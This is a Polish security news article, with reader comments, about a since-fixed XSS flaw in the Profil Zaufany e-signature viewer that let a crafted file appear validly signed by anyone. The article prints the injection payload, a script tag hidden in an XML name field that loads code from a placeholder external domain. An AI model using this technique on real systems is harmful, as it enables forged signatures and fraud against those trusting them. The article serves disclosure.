11:03
18/5/2020

Profilem Zaufanym można podpisywać także dokumenty wysyłane do osób prywatnych i firm (choć nie każdy to wie). Jeden z naszych Czytelników znalazł sposób na wprowadzenie w błąd co do autentyczności podpisu.

Uwaga: Chcielibyśmy, żeby kolejny tekst nie dotyczył Profilu Zaufanego ani Ministerstwa Cyfryzacji, ale “prawo serii” czasem po prostu działa.

W ubiegły wtorek opisywaliśmy w Niebezpieczniku ciekawy, ale raczej nie tragiczny problem związany z usługą podpisywania dokumentów za pomocą Profilu Zaufanego. Chodziło o to, że dokument podpisany za pomocą usługi Podpisz dokument elektronicznie (dostępnej na stronie moj.gov.pl) ujawnia PESEL, ID konta Profilu Zaufanego oraz – co zauważył jeden z Czytelników komentarzach – być może ujawnia bank, z jakiego ktoś korzysta. Trudno nawet powiedzieć czy to było niedopatrzenie, czy po prostu cecha usługi (Ministerstwo Cyfryzacji do tej pory nie odniosło się do problemu).

W komentarzach na Niebezpieczniku i na Facebooku niektóre osoby pisały, że to nie był żaden problem bo przecież “urzędy i tak znają nasz PESEL”. Tymczasem… powiedzmy to jeszcze raz…

Profilem Zaufanym można podpisać nie tylko dokument wysyłany do urzędu, ale także dokumenty przesyłane między innymi osobami lub organizacjami
(Co jednak nie oznacza, że taki e-podpis będzie miał skutki prawne równe zwykłemu podpisowi, niemniej zawsze jest to jakieś potwierdzenie tożsamości, które podmioty wedle swojego uznania mogą uznać za wiarygodne).

Właśnie do tego służy usługa dostępna na Moj.gov.pl.

Problem z ujawnianiem PESEL-u zauważyliśmy tak naprawdę przy okazji o wiele poważniejszej luki. Niewątpliwej luki. Jeszcze w kwietniu br. Mariusz Dalewski, współwłaściciel i CEO spółki MDDV odkrył, że istnieje sposób na wytworzenie pliku, który zostanie błędnie zidentyfikowany jako prawidłowo podpisany przez konkretną osobę.

Jak się “podrabiało” podpis PZ?

Jak już wspominaliśmy, plik podpisany za pomocą usługi Moj.gov.pl przyjmuje postać pliku XML z pewnymi metadanymi. Mariusz Dalewski zauważył, że ktoś zapomniał o walidacji danych które pochodzą z tego XML’a, co otwiera drogę do użycia skryptu JS w celu zmiany stanu podpisu na poprawny.

W pliku znajdowały się m.in. poniższe dane

<os:Nazwisko rodzajCzlonu=”pierwszy”>Dalewski</os:Nazwisko><os:Imie>Mariusz</os:Imie>

</ br>

Co ważne, te pola nie były poddawane walidacji przed wyświetleniem użytkownikowi. Mariusz zauważył, że w każdym z pól mamy około 40 znaków nad którymi mamy kontrolę. Jeżeli przekroczymy tą długość, pole jest ukrywane.

W związku z tym Mariusz postanowił zastosować następujący kod.

<os:Nazwisko rodzajCzlonu=”pierwszy”><![CDATA[<script>$.get(‘//domena.pl/a.js)</script>]]></os:Nazwisko><os:Imie>Mariusz Dalewski</os:Imie>

 

Pod wskazanym w kodzie adresem należało umieścić skrypt, który spowoduje wyświetlenie odpowiedniej nazwy lub nazwiska oraz informacji o tym, że podpis jest ważny. Dzięki takiemu zabiegowi Mariusz był w stanie wytworzyć m.in. plik wyglądający jak prawidłowo podpisany przez Niebezpiecznika.

Jak słusznie zauważył Mariusz, można mieć całą masę pomysłów na ataki. Jakże fajnie – z punktu widzenia oszusta – byłoby wysyłać do ludzi pisma z instrukcjami w rodzaju “dla bezpieczeństwa wejdź na rządową stronę i sprawdź autentyczność komunikatu”.

Trochę trwało, ale naprawione

Mariusz zgłosił sprawę do CERT 27 kwietnia, a 14 maja otrzymał wiadomość z prośbą o sprawdzenie, czy błąd nadal występuje. Reakcja może nie była błyskawiczna, ale Mariusz przyznał, że CERT działał rzeczowo i podszedł do sprawy z pełnym zrozumieniem.

Choć opisywana tutaj usługa nie jest nowa to – trzeba to przyznać – nie nabrała jeszcze dużej popularności, nawet wśród tych kilku milionów użytkowników Profilu Zaufanego. Dobrze, że problem został wykryty teraz.

Po naszym ostatnim tekście o mimowolnym ujawnianiu PESEL-u niektórzy z Czytelników zarzucili nam “nieobiektywność” gdyż śmieliśmy skrytykować usługę, której ten kraj tak bardzo potrzebuje. Owszem, rzeczywiście istnieje duże zapotrzebowanie na usługę identyfikacji elektronicznej, a już szczególnie przy zmienianiu gospodarki z “murowanej” na “cyfrową” pod wpływem epidemii COVID-19. Dlatego właśnie istnieje potrzeba uważnego badania, czy usługa spełnia swoją rolę i czy jest bezpieczna. Powiedzielibyśmy, że Mariusz znalazł błąd w samą porę! Gratulujemy!

Przeczytaj także:



42 komentarzy

Dodaj komentarz
  1. Nie moga tego zrobic na blockchainie? Kazdy obywatel mialby unikalny adres ktorego nawet nie musi widziec i tylko z odpowiednia autoryzacja wlasciciela mozlowy bylby podpis danym tokenem. Zadnych peseli (za wyjatkiem rejestracji) zadnych innych wrazliwych danych.

    • Może jeszcze Machine Learning do tego?

    • Blockchain jest powolny i potrzebuje zbyt dużej ilości zasobów.

    • Zalezy jaki blockchain. Sa takie ktore radza sobie z autentykacja wysmienicie.

    • Powinno być też kwantowe.

    • Marek you made my day xD

  2. Nadal jednak uważam, że PESEL w podpisie jest istotny. Jeśli jako przedsiębiorca otrzymam taki dokument to muszę mieć pewność, że podpisał go konkretny Jan Nowak, a nie jakiś niezidentyfikowany Jan Nowa, których jest na pęczki. Tylko PESEL jest póki co unikalnym wyróżnikiem konkretnej osoby.

    • I my się z tym zgadzamy. Niestety niektóre firmy (np. telekomy, z istotniejszych) traktują PESEL jako sekret i jeśli znasz czyjś PESEL, możesz w jego imieniu dokonać operacji. Tak nie powinno być i z tym w pierwszej kolejności państwo powinno zrobić porządek.

    • Numery PESEL należy zlikwidować.
      Zamiast PESEL-u w podpisie powinien być numer paszportu albo dowodu osobistego. On jednoznacznie identyfikuje osobę, a nie ma wad PESEL-u: niezmienialności w razie wycieku. No i dlaczego mam zdradzać komuś moją datę urodzenia? To dane nadmiarowe.
      PESELe należy zlikwidować, to relikt komuny.

    • No ale w centralnej bazie dowodów czy czymś analogicznym i tak każdy obywatel będzie musiał mieć unikalne ID, żeby zidentyfikować, które DO czy paszporty były jego. Jedyna, różnica, że byłby niezależny od daty urodzenia czy płci.

    • PESEL w formie obecnej powinien być zlikwidowany. Numer identyfikacyjny powinien być wybierany losowo z jakiejś dostępnej puli numerów-kodów, gdzie wylosowany numer-kod nie wskazuje bezpośrednio daty urodzenia, czy też płci. Przy czym nadawane numery-kody nie powinny być nadawane kolejno jeden po drugim np. AAA123, AAA124 itd. tylko losowo. Obecnie posiadając czyjś numer PESEL znamy dokładną datę urodzin oraz płeć. Posiadając losowy numer-kod nie znamy tych danych.

    • > No ale w centralnej bazie dowodów czy czymś analogicznym
      > i tak każdy obywatel będzie musiał mieć unikalne ID

      Można to rozwiązać przy pomocy haszy i podpisów cyfrowych zapisanych w centralnej bazie, którą uprawniony organ (np. policja) może odpytać bez naruszania prywatności obywateli.

      Jest to bardzo łatwe do zaprojektowania i w zupełności wystarczy żeby weryfikować autentyczność dokumentów w codziennych sytuacjach. Dzisiejsze rozwiązania (mnóstwo formularzy z danymi, ciągłe nowe bazy danych, legitymowanie ludzi przez recytowanie ich danych osobowych przez radio) należy natychmiast zlikwidować, to jest po prostu kpina z rozsądku.

      Nie ma potrzeby żeby istniały ewidencje ludności, dowodów i paszportów w takiej formie jak teraz, z dostępem przez teletransmisję dla mnóstwa podmiotów. Taka baza (z danymi osobowymi) winna być dostępna tylko dla sądów i to tylko w wypadku uzasadnionych podejrzeń o fałszerstwo dokumentów.

  3. Ja to bym chciał używać epuap w firmie do korespondencji z klientami tylko RODO mi nie pozwoli wysyłać na serwery rządu dokumentów. Czy ta usługa ma służyć ułatwieniu czy inwigilacji bo już się gubię.

  4. Ja korzystam z Autenti. Polecam się zapoznać.

  5. Mam nadzieję, że Pan Mariusz coś dostał od MC z programu bugbounty.

    • Raczysz żartować. Od instytucji za wytknięcie buga można co najwyżej dostać “kopas w dupas”…

    • Tak, dostał obietnicę, że nie pójdzie siedzieć ;)

    • podziękowali :)

    • Albo kraty :D

    • dostać dostał …ustne zapewnienie, że nie będą wyciągać wobec niego konsekwencji za narażenie bezpieczeństwa państwa na uszczerbek czy innych strat finansowych

    • ewentualnie można dostać to że służby zacząć się interesować osobą która zbytnio wnika i się interesuje ;)

  6. Nie walidowanie wartości pól z tymi w podpisie to jedno. Ale dziura pozwalająca na banalny XSS na stronie to już błąd niemal szkolny. Czy ktokolwiek audytował tą aplikację przed udostępnieniem jej ludziom? Ręce mi opadły całkowicie.

  7. no i fajnie, to już mamy w Polszcze 5 podpisów elektronicznych: 3 firmowe, dowód el., jeszcze teraz PZ, bogaty kraj, przegląd wszystkich możliwych technologii…
    a i tak nie ma czego tym wszystkim podpisywać, bo poza ePUAPem urzędy i sądy niczego elektrycznie nie przyjmą i jakoś tak dalej w praktyce zmian nie widać
    a wystarczyłby jeden państwowy podpis, to wszystko co było potrzebne, do tego zwykły mail i e-społeczeństwo mogłoby działać
    zróbmy jeszcze ze 7 podpisów, ze 3 epuapy, teraz osobno dla sądów, zusów i do dentysty, kto nam zabroni, bogatym
    naróbmy w nich bugów i bawmy się w ich usuwanie, dziecinada

    • Prawda? Jakim cudem takie małe państwo jak Estonia zdołało poogarniać tyle rzeczy i to już daaawno temu.

  8. Jezeli mówimy o zmienianiu gospodarki z “murowanej” na “cyfrową” to skończmy w końcu z tym absurdem stawiania znaku równości pomiędzy znajomością czyjegoś PESELu a uwierzytelnieniem jako ta osoba. To jest tylko ID które powstało zanim powstał termin IT. Niech sobie są PESELe wszystkie publiczne, nie powiązane z imieniem i nazwiskiem nie powinny być traktowane jako dana osobowa. Jednocześnie to najlepszy sposób aby każdy kto dysponuje powiązaniem imienienia i nazwiska z PESELem(tu już dane osobowe) mogl sobie mogl sprawdzić podpis bez wątpliwej jakości strony trzeciej *.gov.pl

    • > Niech sobie są PESELe wszystkie publiczne

      Mów za siebie. Nie życzę sobie upubliczniania przymusowego, unikalnego, niezmienialnego identyfikatora, który nadało mi państwo. Wystarczy że muszę tolerować jego istnienie. Nie życzę też sobie upubliczniania mojej daty urodzenia.

      To prawda że ludzie popełniają błąd traktując PESEL jako dane uwirzytelniające. Ale nawet gdyby tego nie było, numery PESEL są złe, same w sobie.

  9. Tak, to ewidentnie była luka i jako użytkownik PZ cieszę się, że została wykryta i poprawiona. Co do ujawnienia PESEL – podtrzymuję, że to nie była luka, bo PESEL to fragment identyfikatora, choć oczywiście wiem, że w dzisiejszych czasach nawet nazwiska nie należy publicznie podawać, bo to zwiększa poziom ryzyka.

    • Mamy tutaj do czynienia z podpisem równoważnym z podpisem odręcznym. Musimy w jakiś sposób jednoznacznie identyfikować konkretną osobę. Z tego co mi wiadomo w certyfikacie podpisu kwalifikowanego też widnieje PESEL. PESEL także podajemy w różnych umowach (także pomiędzy osobami prywatnymi) np. przy sprzedaży samochodu. Jak możemy zauważyć cała historia właścicieli (łącznie z ich PESELEM) znajduje się chociażby w karcie pojazdu. Poprzedni właściciel nawet nie wie do kogo te dane trafią po kolejnej zmianie właściciela. Z reszta podobnych przykładów pewnie mnóstwo moglibyśmy podać. Może nawet lepszym rozwiązaniem byłoby podanie numeru dowodu osobistego (chociaż o ile lepszym?) – tutaj chociaż możemy go zmienić wyrabiając nowy dowód.

  10. Nie wiem, po co on to ujawniał. To jest warte majątek.

    • Własnie przez takich ludzi jak Ty świat jest zły.

    • Bo to przyzwoity człowiek jest.

  11. PGP rozwiązuje takie problemy w stopniu wystarczającym.

    • Ej, a ile osób znasz, które używają PGP, a ile w ogóle wiedzą, co to PGP, nie wspominając o tych, które gdzieś tam słyszały o PGP? Hę?

    • Jeśli wcześniej wymieniłeś klucze z tą osobą. Jeśli nie, i nie masz też nikogo korzystającego z PGP, kogo kluczowi ufasz, i kto zna tę osobę i może potwierdzić jej klucz (dość cięzki warunek do spełnienia), to PGP nic ci nie da.
      Dlatego powstały systemy oparte na zaufanej trzeciej stronie, takiej jak np. właśnie PZ, która uwierzytelnia wszystkich uczestników komunikacji.

    • Wystarczy wymiana kluczy. Jeżeli “znasz” właściciela i nie musi być to osobiście, to nie trzeba 3ciej strony do uwierzytelnienia klucza. Z resztą i tak obecnie serwery kluczy to tylko nakręcanie spamu. W sumie to nie chodzi nawet o samo PGP, ale taki system kluczy asymetrycznych by wystarczył z odpowiednią implementacją “user friendly”… PGP to przykład, acz bardzo dobrze działający w takich przypadkach.

    • PZ został udostępniony jako bezpłatny zamiennik podpisu kwalifikowanego. Gdy podpiszemy umowę czy pismo kluczem PGP nie będzie to umowa wiążąca a jedynie dla nas informacja (o ile dany klucz jest dla nas zaufany), że to faktycznie dana osoba to wysłała a nie inna. Żaden Urząd nie uzna tego podpisu. Tutaj nie chodzi też o kwestie techniczne – moglibyśmy do tego celu użyć kluczy PGP. Jakaś organizacja państwowa upoważniona do tego celu mogłaby wystawiać każdemu obywatelowi taki zestaw kluczy PGP, które byłyby równoważne z podpisem kwalifikowanym.

    • @Francik
      Mało jest takich osób. To jest robota dla szkół, bo już 2 pokolenia są stracone. W czasach Google i FB komunikacja szyfrowana jest jeszcze ważniejsza niż kiedykolwiek.

      Samo pytanie w eter “ile osób zna” nie rozwiąże sprawy. Panie dobre, żeby nie było że deprecjonuję… :-)

  12. A ja powiem jeszcze jedno. Mam podejrzenia że z Profilu Zaufanego wycieka numer telefonu. Dzwonią do mnie w sprawie moich klientów różne urzędy począwszy od skarbowych, przez ZUSy i kończąc na urzędach marszałkowskich. Załatwiam tam wiele spraw z racji zawodu, ale NIGDY i NIGDZIE (poza Profilem zaufanym – który traktuję jako osobisty) nie podawałem mojego numeru telefonu prywatnego. Zawsze w sprawach klientów używałem numeru służbowego bo prywatność dla mnie jest sprawą świętą… Skąd więc urzędy administracji państwowej mają numer prywatny?

    • Z rejestru jaki powstał w momencie wprowadzenia ustawy o przeciwdziałaniu terroryzmowi? Tej samej, która zabrania świadczenia usług telekomom bez przypisania numeru do osoby?

  13. O tym jak bardzo “Zaufany” jest profil zaufany niech świadczy, że NFZ wprowadził możliwość podpisywania dokumentó (np. umów ze świadczeniodawcami – przychodniami itp.) w formie elektronicznej, ale WYŁĄCZNIE podpisem kwalifikowanym. Epuap nie jest uznawany.

  14. Jak już jesteśmy w podobnym temacie to ciekawostka z epuap2 – założenie konta dla firmy, prawdopodobnie nie ma żadnej weryfikacji.

  15. Czy możecie pociągnąć temat i opisać na łamach niebezpiecznika lub zapytać czytelników pracujących przy tym na codzień/insytucje jak wygląda weryfikacja osoby ubiegającej się o podpis kwalifikowany który równa się prawnie odręcznemu? Czy jest sprawdzana baza MSWiA/RDO? Czy jest sprawdzana warstwa elektroniczna dokumentu z którą przychodzi klient?

    Podpis w chmurze Mszafir np. można założyć na mojeid przez pko bp / inteligo. A jak bardzo jest dziurawy system kurierski nie trzeba tłumaczyć. Podobnie jak weryfikacja w oddziale ‘wzrokiem’ bez odpytania bazy rządowej.
    Jak wygląda weryfikacja w punktach stacjonarnych podmiotów certyfikowanych?
    Jak wygląda bezpieczeństwo naszej tożsamości w usługach wydających podpis kwalifikowany przez wideorozmowe? np tu store.intesigroup.com ? Skąd wiedzą, że ja to ja, a nie ktoś kto wyrobił sobie plastik z moimi danymi? Czy oni odpytują jakieś bazy dokumentów?

Odpowiadasz na komentarz nusch

Kliknij tu, aby anulować

Zamieszczając komentarz akceptujesz regulamin dodawania komentarzy. Przez moderację nie przejdą: wycieczki osobiste, komentarze nie na temat, wulgaryzmy.

RSS dla komentarzy: